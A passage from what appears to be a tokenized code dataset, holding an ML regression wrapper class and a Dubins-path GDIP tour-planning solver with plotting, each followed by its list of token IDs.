13,
4706,
16969,
29901,
13,
9651,
313,
1384,
1125,
450,
2933,
848,
515,
4367,
275,
29889,
13,
4706,
9995,
13,
4706,
848,
353,
1583,
3032,
29878,
29889,
29882,
657,
29898,
1311,
3032,
8568,
29892,
1820,
29897,
13,
4706,
565,
848,
338,
451,
6213,
322,
451,
338,
8758,
29898,
1272,
29892,
851,
1125,
13,
9651,
848,
353,
851,
29898,
1311,
3032,
29878,
29889,
29882,
657,
29898,
1311,
3032,
8568,
29892,
1820,
511,
525,
9420,
29899,
29947,
1495,
13,
4706,
736,
848,
13,
2
] |
src/mlregression/mlreg.py | muhlbach/ml-regression | 1 | 48971 | <gh_stars>1-10
#------------------------------------------------------------------------------
# Libraries
#------------------------------------------------------------------------------
# Standard
import numpy as np
# User
from .base.base_mlreg import BaseMLRegressor
#------------------------------------------------------------------------------
# MLRegressor
#------------------------------------------------------------------------------
class MLRegressor(BaseMLRegressor):
"""
This class implements the mlreg command
"""
# -------------------------------------------------------------------------
# Constructor function
# -------------------------------------------------------------------------
def __init__(self,
estimator,
param_grid=None,
cv_params={'scoring':None,
'n_jobs':None,
'refit':True,
'verbose':0,
'pre_dispatch':'2*n_jobs',
'error_score':np.nan,
'return_train_score':False},
fold_type="KFold",
n_cv_folds=5,
shuffle=False,
test_size=None,
max_n_models=50,
n_cf_folds=2,
verbose=False,
):
super().__init__(
estimator=estimator,
param_grid=param_grid,
cv_params=cv_params,
fold_type=fold_type,
n_cv_folds=n_cv_folds,
shuffle=shuffle,
test_size=test_size,
max_n_models=max_n_models,
n_cf_folds=n_cf_folds,
verbose=verbose)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
29937,
2683,
2683,
2683,
2683,
9072,
489,
13,
29937,
365,
4626,
4314,
13,
29937,
2683,
2683,
2683,
2683,
9072,
489,
13,
29937,
10117,
13,
5215,
12655,
408,
7442,
13,
13,
29937,
4911,
13,
3166,
869,
3188,
29889,
3188,
29918,
828,
1727,
1053,
7399,
1988,
4597,
1253,
272,
13,
13,
29937,
2683,
2683,
2683,
2683,
9072,
489,
13,
29937,
23158,
4597,
1253,
272,
13,
29937,
2683,
2683,
2683,
2683,
9072,
489,
13,
1990,
23158,
4597,
1253,
272,
29898,
5160,
1988,
4597,
1253,
272,
1125,
13,
1678,
9995,
13,
1678,
910,
770,
10703,
278,
286,
29880,
1727,
1899,
13,
1678,
9995,
13,
1678,
396,
448,
2683,
2683,
2683,
2683,
1378,
13,
1678,
396,
1281,
18769,
740,
13,
1678,
396,
448,
2683,
2683,
2683,
2683,
1378,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
13,
462,
4844,
1061,
29892,
13,
462,
1828,
29918,
7720,
29922,
8516,
29892,
13,
462,
13850,
29918,
7529,
3790,
29915,
1557,
8253,
2396,
8516,
29892,
13,
462,
9651,
525,
29876,
29918,
9057,
29879,
2396,
8516,
29892,
13,
462,
9651,
525,
999,
277,
2396,
5574,
29892,
13,
462,
9651,
525,
369,
15828,
2396,
29900,
29892,
13,
462,
9651,
525,
1457,
29918,
13369,
22099,
29906,
29930,
29876,
29918,
9057,
29879,
742,
13,
462,
9651,
525,
2704,
29918,
13628,
2396,
9302,
29889,
13707,
29892,
13,
462,
9651,
525,
2457,
29918,
14968,
29918,
13628,
2396,
8824,
1118,
13,
462,
900,
29881,
29918,
1853,
543,
29968,
29943,
1025,
613,
13,
462,
302,
29918,
11023,
29918,
29888,
3361,
29922,
29945,
29892,
13,
462,
528,
21897,
29922,
8824,
29892,
13,
462,
1243,
29918,
2311,
29922,
8516,
29892,
13,
462,
4236,
29918,
29876,
29918,
9794,
29922,
29945,
29900,
29892,
13,
462,
302,
29918,
6854,
29918,
29888,
3361,
29922,
29906,
29892,
13,
462,
26952,
29922,
8824,
29892,
13,
462,
29871,
1125,
13,
4706,
2428,
2141,
1649,
2344,
12035,
13,
9651,
4844,
1061,
29922,
342,
326,
1061,
29892,
13,
9651,
1828,
29918,
7720,
29922,
3207,
29918,
7720,
29892,
13,
9651,
13850,
29918,
7529,
29922,
11023,
29918,
7529,
29892,
13,
9651,
900,
29881,
29918,
1853,
29922,
8771,
29918,
1853,
29892,
13,
9651,
302,
29918,
11023,
29918,
29888,
3361,
29922,
29876,
29918,
11023,
29918,
29888,
3361,
29892,
13,
9651,
528,
21897,
29922,
845,
21897,
29892,
13,
9651,
1243,
29918,
2311,
29922,
1688,
29918,
2311,
29892,
13,
9651,
4236,
29918,
29876,
29918,
9794,
29922,
3317,
29918,
29876,
29918,
9794,
29892,
13,
9651,
302,
29918,
6854,
29918,
29888,
3361,
29922,
29876,
29918,
6854,
29918,
29888,
3361,
29892,
13,
9651,
26952,
29922,
369,
15828,
29897,
13,
2
] |
python/rss18_dtrp.py | petvana/gdip | 9 | 168222 | #!/usr/bin/env python3
import sys, os, re, math, copy
import numpy as np
import matplotlib.pyplot as plt
from matplotlib.patches import Circle, PathPatch
# import the Python wrapper
from dubinswrapper import DubinsWrapper as dubins
################################################
# Scenarios
################################################
#define planning problems:
# map file
# minimum turning radius
# sensing radius
# solver type
scenarios = [
("./problems/gdip-n10.txt", 1, 1, 'DTSPN-GDIP'),
#("./problems/gdip-n10.txt", 0.5, 1, 'DTSPN-GDIP'),
#("./problems/gdip-n10.txt", 1, 0.5, 'DTSPN-GDIP'),
]
################################################
# Settings
################################################
visualize = True
show = True
# Save figures into a directory "images"
save_figures = False
if len(sys.argv) > 1:
if "-save" in sys.argv[1]:
visualize = True
save_figures = True
if save_figures:
os.makedirs("images", exist_ok=True)
##################################################
# Functions
##################################################
def load_map(filename):
"""Read config with goal positions"""
goals = []
with open(filename) as fp:
for line in fp:
label, x, y = line.split()
goals.append((float(x), float(y)))
return goals
def plot_points(points, specs = 'b'):
x_val = [x[0] for x in points]
y_val = [x[1] for x in points]
plt.plot(x_val, y_val, specs)
def plot_circle(xy, radius):
ax = plt.gca()
circle = Circle(xy, radius, facecolor='yellow',edgecolor="orange", linewidth=1, alpha=0.2)
ax.add_patch(circle)
def dist_euclidean(coord1, coord2):
(x1, y1) = coord1
(x2, y2) = coord2
(dx, dy) = (x2 - x1, y2 - y1)
return math.sqrt(dx * dx + dy * dy)
# cache results from computing length of the GDIP
lowerPathGDIPLenCache = {}
def lowerPathGDIP(s1, s2, turning_radius, cached = False):
"""Compute lower-bound path using GDIP between two configurations
Arguments:
s1 - start; s2 - end; turning_radius
cached - compute only distance and cache the results
Returns:
Dubins maneuver (DubinsWrapper)
"""
if cached:
key = (s1, s2)
if key in lowerPathGDIPLenCache:
length = lowerPathGDIPLenCache[key]
return (None, length)
interval1 = [s1.alpha1, s1.alpha2 - s1.alpha1]
interval2 = [s2.alpha1, s2.alpha2 - s2.alpha1]
path = dubins.shortest_path_GDIP(s1.center, interval1, s1.radius, s2.center, interval2, s2.radius, turning_radius)
length = path.get_length()
if cached:
lowerPathGDIPLenCache[key] = length
return (None, length)
else:
return (path, length)
def upperPathGDIP(s1, s2, turning_radius, cached = False):
"""Compute feasible Dubins path two configurations
Arguments:
s1 - start; s2 - end; turning_radius
Returns:
(Dubins maneuver 'DubinsWrapper', length)
"""
q1 = s1.getFeasibleState()
q2 = s2.getFeasibleState()
dubins_path = dubins.shortest_path(q1, q2, turning_radius)
return (dubins_path, dubins_path.get_length())
def compute_distances(samples, dst_fce, turning_radius = 0):
n = len(samples)
distances = []
for i in range(n):
ss1 = samples[i]
ss2 = samples[(i+1) % n]
n1 = len(ss1)
n2 = len(ss2)
sh = np.full((n1, n2), np.inf)
for i1 in range(n1):
for i2 in range(n2):
dist = dst_fce(ss1[i1], ss2[i2], turning_radius, cached=True)
sh[i1][i2] = dist[1]
distances.append(sh)
return distances
def find_shortest_tour(distances):
n = len(distances)
best_len = math.inf
best_tour = []
# maximal number of samples
k_max = max([len(x) for x in distances])
no_start = len(distances[0])
for start in range(no_start):
# shortest sh[region_idx][sample_idx]
# contains (prev, length)
sh = np.full((n+1, k_max), np.inf)
# used edge
prev = np.full((n+1, k_max), -1)
sh[0,start] = 0
for region_idx in range(n):
n1 = len(distances[region_idx])
n2 = len(distances[region_idx][0])
for idx2 in range(n2):
dst = sh[region_idx][:n1] + distances[region_idx][:,idx2]
sh[region_idx+1][idx2] = np.min(dst)
prev[region_idx+1][idx2]= np.argmin(dst)
act_sol = sh[-1][start]
if act_sol < best_len:
best_len = act_sol
tour = []
act = start
for i in range(n):
act = prev[n-i][act]
tour.append(act)
best_tour = list(reversed(tour))
return best_tour
def retrieve_path(samples, dst_fce, turning_radius, selected_samples):
n = len(samples)
path = []
for a in range(0,n):
g1 = samples[a][selected_samples[a]]
g2 = samples[(a+1) % n][selected_samples[(a+1) % n]]
path.append(dst_fce(g1, g2, turning_radius))
return path
def path_len(path):
return sum_list([dub.get_length() for dub in path])
def plot_path(path, turning_radius, settings):
step_size = 0.01 * turning_radius
for dub in path:
configurations, _ = dub.sample_many(step_size)
plot_points(configurations, settings)
##################################################
# Target region given by the location and its sensing radius
##################################################
class TargetRegion:
def __init__(self, center, radius):
self.center = center
self.radius = radius
def get_position_at_boundary(self, beta):
return self.center + self.radius * np.array([math.cos(beta), math.sin(beta)])
##################################################
# Sample on the given target region
##################################################
class Sample:
def __init__(self, targetRegion):
# reference to the specific target region of the sample
self.target = targetRegion
# heading angle interval
self.alpha1 = 0
self.alpha2 = 2 * math.pi
self.alphaResolution = 1
# position (on the boundary) interval
self.beta1 = 0
self.beta2 = 2 * math.pi
self.betaResolution = 1
# center and radius of the position neighborhood on the boundary of the target region
self.center = np.array(targetRegion.center)
self.radius = targetRegion.radius
def split(self, resolution):
"""Split the actual sample into two new ones.
The first is stored directly in the actual sample, and the second is returned.
If the required resolution is already met, then nothing is done and None is returned.
Parameters:
resolution: the requred resolution
Returns:
Sample - the second new sample
"""
# prefer splitting according position resolution
if self.betaResolution < resolution:
sam1 = copy.copy(self)
sam2 = copy.copy(self)
sam1.betaResolution = sam2.betaResolution = 2 * self.betaResolution
sam1.beta2 = sam2.beta1 = (self.beta1 + self.beta2) / 2
sam1.update_center_radius()
sam2.update_center_radius()
return [sam1, sam2]
if self.alphaResolution < resolution:
sam1 = copy.copy(self)
sam2 = copy.copy(self)
sam1.alphaResolution = sam2.alphaResolution = 2 * self.alphaResolution
sam1.alpha2 = sam2.alpha1 = (self.alpha1 + self.alpha2) / 2
return [sam1, sam2]
return None
def update_center_radius(self):
p1 = self.target.get_position_at_boundary(self.beta1)
p2 = self.target.get_position_at_boundary(self.beta2)
self.center = (p1 + p2) / 2
self.radius = dist_euclidean(p1, p2) / 2
def getFeasibleState(self):
pos = self.target.get_position_at_boundary(self.beta1)
q = np.zeros(3)
q[0:2] = pos
q[2] = self.alpha1
return q
def plot(self):
ax = plt.gca()
circle = Circle(self.center, self.radius, facecolor=None ,edgecolor="green", linewidth=1, alpha=0.2)
ax.add_patch(circle)
##################################################
# Sampling structure which holds all the used samples
##################################################
class Sampling:
def __init__(self, centers, sensingRadius):
self.targets = [TargetRegion(c, sensingRadius) for c in centers]
self.samples = [[Sample(t)] for t in self.targets]
def refine_samples(self, selected, resolution):
"""Refine the seleted samples if the required resolution is not met.
Parameters:
slected: indexes of the selected samples (vector 1 x n)
resolution: the requred resolution
Returns:
boolean - true if any sample is refined
"""
n = len(self.samples)
refined = False
for i in range(n):
to_split = selected[i]
samp = self.samples[i][to_split]
res = samp.split(resolution)
if not res is None:
self.samples[i][to_split] = res[0]
self.samples[i].append(res[1])
refined = True
return refined
##################################################
# The main solver class
##################################################
class GDIPSolver:
def __init__(self, turning_radius, goals, sensing_radius):
self.turning_radius = turning_radius
self.sensing_radius = sensing_radius
self.goals = goals
self.sampling = Sampling(goals, sensing_radius)
self.lower_path = []
self.upper_path = []
self.lower_bound = 0
self.upper_bound = math.inf
def plot_map(self):
plt.clf()
plt.axis('equal')
plot_points(self.goals, 'ro')
if self.sensing_radius != None:
for goal in self.goals:
plot_circle(goal, self.sensing_radius)
def plot_tour_and_return_length(self, selected_samples, maneuver_function, color):
sampling = self.sampling
n = len(self.sampling.samples)
step_size = 0.01 * self.turning_radius
length = 0
for a in range(0,n):
g1 = sampling.samples[a][selected_samples[a]]
g2 = sampling.samples[(a+1) % n][selected_samples[(a+1) % n]]
path = maneuver_function(g1, g2, self.turning_radius)
length += path[1]
configurations, _ = path[0].sample_many(step_size)
if visualize:
plot_points(configurations, color)
return length
def plot_actual_and_return_bounds(self):
"""Plot the actual sampling, lower and upper bound path
Returns:
(double, double) - lower bound, upper bound
"""
if visualize:
self.plot_map()
for s in self.sampling.samples:
for ss in s:
ss.plot()
lower_selected_samples = self.find_lower_bound_tour()
upper_selected_samples = self.find_upper_bound_tour()
lower_bound = self.plot_tour_and_return_length(lower_selected_samples, lowerPathGDIP, 'r-')
upper_bound = self.plot_tour_and_return_length(upper_selected_samples, upperPathGDIP, 'b-')
return (lower_bound, upper_bound)
def find_lower_bound_tour(self):
"""Select the samples which represent the shortest lower bound tour
Returns:
indexes of the samples (vector 1 x n)
"""
distances = compute_distances(self.sampling.samples, lowerPathGDIP, turning_radius = self.turning_radius)
selected_samples = find_shortest_tour(distances)
return selected_samples
def find_upper_bound_tour(self):
"""Select the samples which represent the shortest upper bound (feasible) tour
Returns:
indexes of the samples (vector 1 x n)
"""
distances = compute_distances(self.sampling.samples, upperPathGDIP, turning_radius = self.turning_radius)
selected_samples = find_shortest_tour(distances)
return selected_samples
##################################################
# Main loop over selected scenarios
##################################################
for scenario in scenarios:
# Load the problem and scenario settings
filename = scenario[0]
goals = load_map(filename)
turning_radius = scenario[1]
sensing_radius = scenario[2]
solver_type = scenario[3]
#tour planning part
solver = GDIPSolver(turning_radius, goals, sensing_radius)
solver.plot_actual_and_return_bounds()
print("\n--- Problem: {} Turning radius: {:6.2f} Sensing radius: {:6.2f} ---"
.format(filename, turning_radius, sensing_radius))
if show:
plt.pause(0.1)
max_resolution = 64
act_res = 4
while act_res <= max_resolution:
refined = True
while refined:
selected_samples = solver.find_lower_bound_tour()
refined = solver.sampling.refine_samples(selected_samples, act_res)
(lower_bound, upper_bound) = solver.plot_actual_and_return_bounds()
gap = (upper_bound - lower_bound) / upper_bound * 100.0
print("Res: {:4d} Lower: {:6.2f} Upper: {:6.2f} Gap(%): {:6.2f}"
.format(act_res, lower_bound, upper_bound, gap))
if visualize:
plt.title("Maximum resolution: {:4d}".format(act_res))
if show:
plt.pause(0.1)
if save_figures:
plt.savefig("images/dtrp-res-{:04d}.png".format(act_res))
act_res *= 2
if show:
plt.pause(2)
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
13,
5215,
10876,
29892,
2897,
29892,
337,
29892,
5844,
29892,
3509,
13,
5215,
12655,
408,
7442,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
3166,
22889,
29889,
5041,
267,
1053,
27927,
29892,
10802,
29925,
905,
13,
13,
29937,
1053,
278,
5132,
14476,
13,
3166,
15416,
1144,
17699,
1053,
11668,
1144,
15646,
408,
15416,
1144,
13,
13,
13383,
13383,
13383,
13,
29937,
2522,
264,
8596,
13,
13383,
13383,
13383,
13,
29937,
7922,
18987,
4828,
29901,
13,
1678,
396,
29871,
2910,
934,
29871,
13,
1678,
396,
29871,
9212,
14712,
11855,
13,
1678,
396,
29871,
4771,
292,
11855,
13,
1678,
396,
29871,
899,
369,
1134,
13,
1557,
264,
8596,
353,
518,
13,
1678,
313,
1642,
29914,
17199,
29879,
29914,
29887,
29881,
666,
29899,
29876,
29896,
29900,
29889,
3945,
613,
29871,
29896,
29892,
29871,
29896,
29892,
525,
12972,
5550,
29940,
29899,
29954,
4571,
29925,
5477,
13,
1678,
396,
703,
6904,
17199,
29879,
29914,
29887,
29881,
666,
29899,
29876,
29896,
29900,
29889,
3945,
613,
29871,
29900,
29889,
29945,
29892,
29871,
29896,
29892,
525,
12972,
5550,
29940,
29899,
29954,
4571,
29925,
5477,
13,
1678,
396,
703,
6904,
17199,
29879,
29914,
29887,
29881,
666,
29899,
29876,
29896,
29900,
29889,
3945,
613,
29871,
29896,
29892,
29871,
29900,
29889,
29945,
29892,
525,
12972,
5550,
29940,
29899,
29954,
4571,
29925,
5477,
13,
29962,
13,
13,
13383,
13383,
13383,
13,
29937,
19215,
13,
13383,
13383,
13383,
13,
13,
20119,
675,
353,
5852,
13,
4294,
353,
5852,
13,
13,
29937,
16913,
13994,
964,
263,
3884,
376,
8346,
29908,
13,
7620,
29918,
1003,
1973,
353,
7700,
13,
361,
7431,
29898,
9675,
29889,
19218,
29897,
1405,
29871,
29896,
29901,
13,
1678,
565,
11663,
7620,
29908,
297,
10876,
29889,
19218,
29961,
29896,
5387,
13,
4706,
7604,
675,
353,
5852,
13,
4706,
4078,
29918,
1003,
1973,
353,
5852,
13,
361,
4078,
29918,
1003,
1973,
29901,
13,
1678,
2897,
29889,
29885,
12535,
12935,
703,
8346,
613,
1863,
29918,
554,
29922,
5574,
29897,
13,
13,
13383,
13383,
13383,
2277,
13,
29937,
6680,
29879,
13,
13383,
13383,
13383,
2277,
13,
13,
1753,
2254,
29918,
1958,
29898,
9507,
1125,
13,
1678,
9995,
6359,
2295,
411,
7306,
11909,
15945,
29908,
13,
1678,
14433,
353,
5159,
13,
1678,
411,
1722,
29898,
9507,
29897,
408,
285,
29886,
29901,
13,
4706,
363,
1196,
297,
285,
29886,
29901,
13,
9651,
3858,
29892,
921,
29892,
343,
353,
1196,
29889,
5451,
580,
13,
9651,
14433,
29889,
4397,
3552,
7411,
29898,
29916,
511,
5785,
29898,
29891,
4961,
29871,
13,
1678,
736,
14433,
13,
13,
1753,
6492,
29918,
9748,
29898,
9748,
29892,
1580,
29879,
353,
525,
29890,
29374,
13,
1678,
921,
29918,
791,
353,
518,
29916,
29961,
29900,
29962,
363,
921,
297,
3291,
29962,
13,
1678,
343,
29918,
791,
353,
518,
29916,
29961,
29896,
29962,
363,
921,
297,
3291,
29962,
13,
1678,
14770,
29889,
5317,
29898,
29916,
29918,
791,
29892,
343,
29918,
791,
29892,
1580,
29879,
29897,
12,
259,
13,
13,
1753,
6492,
29918,
16622,
29898,
3594,
29892,
11855,
1125,
13,
1678,
4853,
353,
14770,
29889,
29887,
1113,
580,
13,
1678,
8607,
353,
27927,
29898,
3594,
29892,
11855,
29892,
3700,
2780,
2433,
29136,
742,
12864,
2780,
543,
272,
927,
613,
1196,
2103,
29922,
29896,
29892,
15595,
29922,
29900,
29889,
29906,
29897,
13,
1678,
4853,
29889,
1202,
29918,
5041,
29898,
16622,
29897,
13,
13,
1753,
1320,
29918,
29872,
27511,
29898,
1111,
536,
29896,
29892,
29311,
29906,
1125,
13,
1678,
313,
29916,
29896,
29892,
343,
29896,
29897,
353,
29311,
29896,
13,
1678,
313,
29916,
29906,
29892,
343,
29906,
29897,
353,
29311,
29906,
13,
1678,
313,
8235,
29892,
13475,
29897,
353,
313,
29916,
29906,
448,
921,
29896,
29892,
343,
29906,
448,
343,
29896,
29897,
13,
1678,
736,
5844,
29889,
3676,
29898,
8235,
334,
15414,
718,
13475,
334,
13475,
29897,
13,
13,
29937,
7090,
2582,
515,
20602,
3309,
310,
278,
402,
4571,
29925,
13,
13609,
2605,
29954,
4571,
7390,
264,
10408,
353,
6571,
13,
13,
1753,
5224,
2605,
29954,
4571,
29925,
29898,
29879,
29896,
29892,
269,
29906,
29892,
14712,
29918,
13471,
29892,
22152,
353,
7700,
1125,
13,
1678,
9995,
20606,
29872,
5224,
29899,
9917,
2224,
773,
402,
4571,
29925,
1546,
1023,
22920,
13,
268,
13,
1678,
11842,
9331,
29901,
259,
13,
4706,
269,
29896,
448,
1369,
29936,
269,
29906,
448,
1095,
29936,
14712,
29918,
13471,
13,
4706,
22152,
448,
10272,
871,
5418,
322,
7090,
278,
2582,
13,
1678,
16969,
29901,
268,
13,
4706,
11668,
1144,
767,
12932,
369,
313,
29928,
431,
1144,
15646,
29897,
13,
1678,
9995,
13,
1678,
565,
22152,
29901,
13,
4706,
1820,
353,
313,
29879,
29896,
29892,
269,
29906,
29897,
13,
4706,
565,
1820,
297,
5224,
2605,
29954,
4571,
7390,
264,
10408,
29901,
13,
9651,
3309,
353,
5224,
2605,
29954,
4571,
7390,
264,
10408,
29961,
1989,
29962,
13,
9651,
736,
313,
8516,
29892,
3309,
29897,
13,
13,
1678,
7292,
29896,
353,
518,
29879,
29896,
29889,
2312,
29896,
29892,
269,
29896,
29889,
2312,
29906,
448,
269,
29896,
29889,
2312,
29896,
29962,
13,
1678,
7292,
29906,
353,
518,
29879,
29906,
29889,
2312,
29896,
29892,
269,
29906,
29889,
2312,
29906,
448,
269,
29906,
29889,
2312,
29896,
29962,
13,
1678,
2224,
353,
15416,
1144,
29889,
12759,
342,
29918,
2084,
29918,
29954,
4571,
29925,
29898,
29879,
29896,
29889,
5064,
29892,
7292,
29896,
29892,
269,
29896,
29889,
13471,
29892,
269,
29906,
29889,
5064,
29892,
7292,
29906,
29892,
269,
29906,
29889,
13471,
29892,
14712,
29918,
13471,
29897,
13,
1678,
3309,
353,
2224,
29889,
657,
29918,
2848,
580,
13,
268,
13,
1678,
565,
22152,
29901,
13,
4706,
5224,
2605,
29954,
4571,
7390,
264,
10408,
29961,
1989,
29962,
353,
3309,
29871,
13,
4706,
736,
313,
8516,
29892,
3309,
29897,
13,
1678,
1683,
29901,
13,
4706,
736,
313,
2084,
29892,
3309,
29897,
13,
13,
1753,
7568,
2605,
29954,
4571,
29925,
29898,
29879,
29896,
29892,
269,
29906,
29892,
14712,
29918,
13471,
29892,
22152,
353,
7700,
1125,
13,
1678,
9995,
20606,
29872,
28326,
1821,
11668,
1144,
2224,
1023,
22920,
13,
268,
13,
1678,
11842,
9331,
29901,
259,
13,
4706,
269,
29896,
448,
1369,
29936,
269,
29906,
448,
1095,
29936,
14712,
29918,
13471,
13,
1678,
16969,
29901,
268,
13,
4706,
313,
29928,
431,
1144,
767,
12932,
369,
525,
29928,
431,
1144,
15646,
742,
3309,
29897,
13,
1678,
9995,
13,
1678,
3855,
29896,
353,
269,
29896,
29889,
657,
8263,
294,
1821,
2792,
580,
13,
1678,
3855,
29906,
353,
269,
29906,
29889,
657,
8263,
294,
1821,
2792,
580,
13,
1678,
15416,
1144,
29918,
2084,
353,
15416,
1144,
29889,
12759,
342,
29918,
2084,
29898,
29939,
29896,
29892,
3855,
29906,
29892,
14712,
29918,
13471,
29897,
13,
1678,
736,
313,
29881,
431,
1144,
29918,
2084,
29892,
15416,
1144,
29918,
2084,
29889,
657,
29918,
2848,
3101,
13,
13,
1753,
10272,
29918,
5721,
2925,
29898,
27736,
29892,
29743,
29918,
29888,
346,
29892,
14712,
29918,
13471,
353,
29871,
29900,
1125,
13,
1678,
302,
353,
7431,
29898,
27736,
29897,
13,
1678,
24610,
353,
5159,
13,
308,
13,
1678,
363,
474,
297,
3464,
29898,
29876,
1125,
13,
4706,
17971,
29896,
353,
11916,
29961,
29875,
29962,
13,
4706,
17971,
29906,
353,
11916,
15625,
29875,
29974,
29896,
29897,
1273,
302,
29962,
13,
13,
4706,
302,
29896,
353,
7431,
29898,
893,
29896,
29897,
13,
4706,
302,
29906,
353,
7431,
29898,
893,
29906,
29897,
13,
13,
4706,
528,
353,
7442,
29889,
8159,
3552,
29876,
29896,
29892,
302,
29906,
511,
7442,
29889,
7192,
29897,
13,
4706,
363,
474,
29896,
297,
3464,
29898,
29876,
29896,
1125,
13,
9651,
363,
474,
29906,
297,
3464,
29898,
29876,
29906,
1125,
13,
18884,
1320,
353,
29743,
29918,
29888,
346,
29898,
893,
29896,
29961,
29875,
29896,
1402,
17971,
29906,
29961,
29875,
29906,
1402,
14712,
29918,
13471,
29892,
22152,
29922,
5574,
29897,
13,
18884,
528,
29961,
29875,
29896,
3816,
29875,
29906,
29962,
353,
1320,
29961,
29896,
29962,
13,
4706,
24610,
29889,
4397,
29898,
845,
29897,
13,
13,
1678,
736,
24610,
13,
13,
1753,
1284,
29918,
12759,
342,
29918,
29873,
473,
29898,
5721,
2925,
1125,
13,
1678,
302,
353,
7431,
29898,
5721,
2925,
29897,
13,
1678,
1900,
29918,
2435,
353,
5844,
29889,
7192,
13,
1678,
1900,
29918,
29873,
473,
353,
5159,
13,
13,
1678,
396,
23183,
1353,
310,
11916,
13,
1678,
413,
29918,
3317,
353,
4236,
4197,
2435,
29898,
29916,
29897,
363,
921,
297,
24610,
2314,
13,
13,
1678,
694,
29918,
2962,
353,
7431,
29898,
5721,
2925,
29961,
29900,
2314,
13,
1678,
363,
1369,
297,
3464,
29898,
1217,
29918,
2962,
1125,
13,
4706,
396,
3273,
342,
528,
29961,
12803,
29918,
13140,
3816,
11249,
29918,
13140,
29962,
13,
4706,
396,
3743,
313,
16304,
29892,
3309,
29897,
13,
4706,
528,
353,
7442,
29889,
8159,
3552,
29876,
29974,
29896,
29892,
413,
29918,
3317,
511,
7442,
29889,
7192,
29897,
13,
4706,
396,
1304,
7636,
13,
4706,
12379,
353,
7442,
29889,
8159,
3552,
29876,
29974,
29896,
29892,
413,
29918,
3317,
511,
448,
29896,
29897,
13,
13,
4706,
528,
29961,
29900,
29892,
2962,
29962,
353,
29871,
29900,
13,
13,
4706,
363,
5120,
29918,
13140,
297,
3464,
29898,
29876,
1125,
13,
9651,
302,
29896,
353,
7431,
29898,
5721,
2925,
29961,
12803,
29918,
13140,
2314,
13,
9651,
302,
29906,
353,
7431,
29898,
5721,
2925,
29961,
12803,
29918,
13140,
3816,
29900,
2314,
13,
9651,
363,
22645,
29906,
297,
3464,
29898,
29876,
29906,
1125,
13,
18884,
29743,
353,
528,
29961,
12803,
29918,
13140,
3816,
29901,
29876,
29896,
29962,
718,
24610,
29961,
12803,
29918,
13140,
3816,
29901,
29892,
13140,
29906,
29962,
13,
18884,
528,
29961,
12803,
29918,
13140,
29974,
29896,
3816,
13140,
29906,
29962,
353,
7442,
29889,
1195,
29898,
22992,
29897,
13,
18884,
12379,
29961,
12803,
29918,
13140,
29974,
29896,
3816,
13140,
29906,
13192,
7442,
29889,
1191,
1195,
29898,
22992,
29897,
13,
13,
4706,
1044,
29918,
2929,
353,
528,
14352,
29896,
3816,
2962,
29962,
13,
4706,
565,
1044,
29918,
2929,
529,
1900,
29918,
2435,
29901,
13,
9651,
1900,
29918,
2435,
353,
1044,
29918,
2929,
13,
9651,
6282,
353,
5159,
13,
9651,
1044,
353,
1369,
13,
9651,
363,
474,
297,
3464,
29898,
29876,
1125,
13,
18884,
1044,
353,
12379,
29961,
29876,
29899,
29875,
3816,
627,
29962,
13,
18884,
6282,
29889,
4397,
29898,
627,
29897,
13,
9651,
1900,
29918,
29873,
473,
353,
1051,
29898,
276,
874,
287,
29898,
29873,
473,
876,
13,
13,
1678,
736,
1900,
29918,
29873,
473,
13,
13,
1753,
10563,
29918,
2084,
29898,
27736,
29892,
29743,
29918,
29888,
346,
29892,
14712,
29918,
13471,
29892,
4629,
29918,
27736,
1125,
13,
1678,
302,
353,
7431,
29898,
27736,
29897,
13,
1678,
2224,
353,
5159,
13,
1678,
363,
263,
297,
3464,
29898,
29900,
29892,
29876,
1125,
13,
4706,
330,
29896,
353,
11916,
29961,
29874,
3816,
8391,
29918,
27736,
29961,
29874,
5262,
13,
4706,
330,
29906,
353,
11916,
15625,
29874,
29974,
29896,
29897,
1273,
302,
3816,
8391,
29918,
27736,
15625,
29874,
29974,
29896,
29897,
1273,
302,
5262,
13,
4706,
2224,
29889,
4397,
29898,
22992,
29918,
29888,
346,
29898,
29887,
29896,
29892,
330,
29906,
29892,
14712,
29918,
13471,
876,
13,
1678,
736,
2224,
13,
13,
1753,
2224,
29918,
2435,
29898,
2084,
1125,
13,
1678,
736,
2533,
29918,
1761,
4197,
29881,
431,
29889,
657,
29918,
2848,
580,
363,
15416,
297,
2224,
2314,
13,
13,
1753,
6492,
29918,
2084,
29898,
2084,
29892,
14712,
29918,
13471,
29892,
6055,
1125,
13,
1678,
4331,
29918,
2311,
353,
29871,
29900,
29889,
29900,
29896,
334,
14712,
29918,
13471,
13,
1678,
363,
15416,
297,
2224,
29901,
13,
4706,
22920,
29892,
903,
353,
15416,
29889,
11249,
29918,
13011,
29898,
10568,
29918,
2311,
29897,
13,
4706,
6492,
29918,
9748,
29898,
2917,
332,
800,
29892,
6055,
29897,
29871,
13,
13,
13383,
13383,
13383,
2277,
13,
29937,
17157,
5120,
2183,
491,
278,
4423,
322,
967,
4771,
292,
11855,
13,
13383,
13383,
13383,
2277,
13,
1990,
17157,
18457,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
4818,
29892,
11855,
1125,
13,
4706,
1583,
29889,
5064,
353,
4818,
13,
4706,
1583,
29889,
13471,
353,
11855,
13,
13,
1678,
822,
679,
29918,
3283,
29918,
271,
29918,
9917,
653,
29898,
1311,
29892,
21762,
1125,
13,
4706,
736,
1583,
29889,
5064,
718,
1583,
29889,
13471,
334,
7442,
29889,
2378,
4197,
755,
29889,
3944,
29898,
3571,
511,
5844,
29889,
5223,
29898,
3571,
29897,
2314,
13,
13,
13383,
13383,
13383,
2277,
13,
29937,
21029,
373,
278,
2183,
3646,
5120,
13,
13383,
13383,
13383,
2277,
13,
1990,
21029,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3646,
18457,
1125,
13,
4706,
396,
3407,
304,
278,
2702,
3646,
5120,
310,
278,
4559,
13,
4706,
1583,
29889,
5182,
353,
3646,
18457,
13,
13,
4706,
396,
28435,
10696,
7292,
13,
4706,
1583,
29889,
2312,
29896,
353,
29871,
29900,
13,
4706,
1583,
29889,
2312,
29906,
353,
29871,
29906,
334,
5844,
29889,
1631,
13,
4706,
1583,
29889,
2312,
12375,
918,
353,
29871,
29896,
13,
